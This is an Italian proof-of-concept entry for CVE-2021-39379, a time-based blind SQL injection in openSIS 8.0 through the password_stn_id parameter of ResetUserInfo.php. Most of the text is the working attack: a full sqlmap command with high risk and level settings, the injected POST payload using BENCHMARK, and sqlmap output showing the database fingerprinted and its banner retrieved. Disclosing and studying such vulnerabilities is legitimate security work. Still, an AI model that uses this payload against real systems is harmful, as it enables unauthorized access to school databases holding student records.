security-n/cve-2021-39379Exploit proof-of-concept per CVE-2021-39379, una vulnerabilità di SQL injection in openSIS 8.0 tramite il parametro password_stn_id in ResetUserInfo.php, che consente SQLi blind basata sul tempo contro MySQL/MariaDB.
Una vulnerabilità di SQL Injection è presente nella versione 8.0 di openSIS quando MySQL (MariaDB) viene utilizzato come database dell'applicazione. Un attaccante malintenzionato può inviare comandi SQL al database MySQL (MariaDB) tramite il parametro vulnerabile password_stn_id.
Pagina PHP vulnerabile:
ResetUserInfo.php
Payload vulnerabile
sqlmap -u "http://localhost:8081/ResetUserInfo.php" --data="pass_user_type=pass_student&pass_type_form=password&password_stn_id=1234&uname=1234&month_password_dob=08&day_password_dob=01&year_password_dob=2021&pass_email=&password_stf_email=" --referer="http://localhost:8081/ForgotPass.php?language=en" --dbms="MySQL" --level=3 --risk=3 --banner --answers="crack=N,dict=N,continue=Y,quit=N"
Iniezione SQL:
http://localhost:8081/ResetUserInfo.php
Parameter: password_stn_id (POST)
Type: time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: pass_user_type=pass_student&pass_type_form=password&password_stn_id=1234 AND 1211=BENCHMARK(5000000,MD5(0x6a65474d))&uname=1234&month_password_dob=08&day_password_dob=01&year_password_dob=2021&pass_email=&password_stf_email=
[21:11:37] [INFO] testing MySQL
[21:11:44] [INFO] confirming MySQL
[21:11:44] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[21:11:56] [INFO] the back-end DBMS is MySQL
[21:11:56] [INFO] fetching banner
[21:11:56] [INFO] retrieved: 10.5.11-MariaDB-1
web application technology: PHP 7.4.21
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
banner: '10.5.11-MariaDB-1'
Scoperta da Nathan Johnson, agosto 2021